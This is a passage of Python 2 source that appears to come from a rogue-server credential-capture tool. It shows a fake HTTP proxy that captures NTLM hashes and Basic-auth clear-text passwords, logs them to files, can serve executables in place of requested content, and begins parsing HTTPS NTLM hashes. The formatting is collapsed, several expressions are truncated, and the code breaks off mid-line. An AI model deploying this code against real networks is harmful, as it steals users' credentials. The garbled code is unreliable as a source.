ServeEXECAlwaysOrNot(Exec_Mode_On_Off): if IsExecutable(FILENAME): buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) buffer1.calculate() return str(buffer1) else: buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1.calculate() return str(buffer1) if a: packetNtlm = b64decode(''.join(a))[8:9] if packetNtlm == "\x01": r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_407_NTLM_Challenge_Ans() t.calculate(str(r)) buffer1 = str(t) return buffer1 if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(a)) ParseHTTPHash(NTLM_Auth,client) buffer1 = DitchThisConnection() buffer1.calculate() return str(buffer1) if b: outfile = os.path.join(ResponderPATH,"HTTP-Proxy-Clear-Text-Password-"+client+".txt") WriteData(outfile,b64decode(''.join(b)),b64decode(''.join(b))) print "[+][Proxy]HTTP-User & Password:", b64decode(''.join(b)) logging.warning('[+][Proxy]HTTP-User & Password: %s'%(b64decode(''.join(b)))) buffer1 = DitchThisConnection() buffer1.calculate() return str(buffer1) else: return str(ProxyBasic_Ntlm(Basic)) #HTTP Rogue Proxy Server Class class HTTPProxy(BaseRequestHandler): def handle(self): try: self.request.settimeout(0.1) for x in range(2): data = self.request.recv(8092) ParseDomain(data,self.client_address[0]) buffer0 = ProxyPacketSequence(data,self.client_address[0]) self.request.sendall(buffer0) except Exception: pass#No need to be verbose.. self.request.close() ################################################################################## #HTTPS Server ################################################################################## from OpenSSL import SSL #Parse NTLMv1/v2 hash. def ParseHTTPSHash(data,client): LMhashLen = struct.unpack(' 24: print "[+]HTTPS NTLMv2 hash captured from :",client logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 10: LMhashOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('